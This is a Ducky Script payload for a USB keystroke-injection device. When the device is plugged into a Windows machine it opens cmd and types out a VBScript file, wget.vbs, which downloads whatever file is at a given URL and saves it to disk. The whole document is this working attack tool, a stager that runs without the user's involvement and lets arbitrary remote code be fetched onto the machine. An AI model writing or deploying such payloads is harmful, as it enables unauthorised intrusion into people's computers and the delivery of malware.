DELAY 3000
GUI r
DELAY 200
STRING cmd
DELAY 200
ENTER
DELAY 200
STRING echo  strUrl = WScript.Arguments.Item(0) > wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo xHttp.Open "GET", strUrl, False >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo xHttp.Send >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo with bStrm >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo .type = 1 '//binary >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo .open >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo .write xHttp.responseBody >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo .savetofile StrFile, 2 '//overwrite >> wget.vbs
DELAY 200
ENTER
DELAY 200
STRING echo end with >> wget.vbs
DELAY 200
ENTER